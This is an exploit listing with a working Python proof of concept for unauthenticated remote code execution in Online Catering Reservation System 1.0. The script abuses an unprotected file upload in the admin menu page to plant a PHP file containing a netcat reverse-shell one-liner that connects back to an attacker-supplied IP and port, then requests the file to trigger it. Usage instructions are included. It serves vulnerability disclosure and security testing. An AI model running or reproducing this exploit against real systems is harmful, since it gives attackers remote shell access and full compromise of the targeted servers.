Online Catering Reservation System 1.0 – Remote Code Execution (Unauthenticated)
# Exploit Title: Online Catering Reservation System 1.0 - Unauthenticated Remote Code Execution # Date: 28-02-2021 # Exploit Author: Christian Vierschilling # Vendor Homepage: https://www.sourcecodester.com # Software Link: https://www.sourcecodester.com/php/11355/online-catering-reservation.html # Version: 1.0 # Tested on: PHP 7.4.14, Linux x64_x86 # --- Description --- # #The web application allows for an unauthenticated file upload which can result in a Remote Code Execution. # --- Proof of concept --- # #!/usr/bin/python3 import random import sys import requests from requests_toolbelt.multipart.encoder import MultipartEncoder def file_upload(target_ip, attacker_ip, attacker_port): random_file_name = str(random.randint(100000, 999999)) + "revshell.php" revshell_string = '<?php exec("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {} {} >/tmp/f"); ?>'.format(attacker_ip, attacker_port) m = MultipartEncoder(fields={'id': '1337', 'menu':'PWN', 'cat': '1337', 'subcat':'PWN','desc':'PWN','price':'13.37', 'image': (random_file_name, revshell_string, 'application/x-php'),'update':''}) print("(+) Uploading php reverse shell..") r1 = requests.post('http://{}/reservation/admin/menu_update.php'.format(target_ip), data=m, headers={'Content-Type': m.content_type}) if "Successfully updated menu details!" in r1.text: print("(+) File upload seems to have been successful!") return random_file_name else: print("(-) Oh no, file upload seems to have failed.. quitting.") exit() def trigger_shell(target_ip, filename): url = 'http://{}/reservation/images/{}'.format(target_ip, filename) print("(+) Now trying to trigger our shell by requesting {} ..".format(url)) r2 = requests.get(url) return None def main(): if len(sys.argv) != 4: print('(+) usage: %s <target ip> <attacker ip> <attacker port>' % sys.argv[0]) print('(+) eg: %s 10.0.0.1 10.13.37.10 4444' % sys.argv[0]) sys.exit(-1) target_ip = sys.argv[1] attacker_ip = sys.argv[2] attacker_port = sys.argv[3] uploaded_filename = file_upload(target_ip, attacker_ip, attacker_port) trigger_shell(target_ip, uploaded_filename) print("\n(+) done!") if __name__ == "__main__": main() |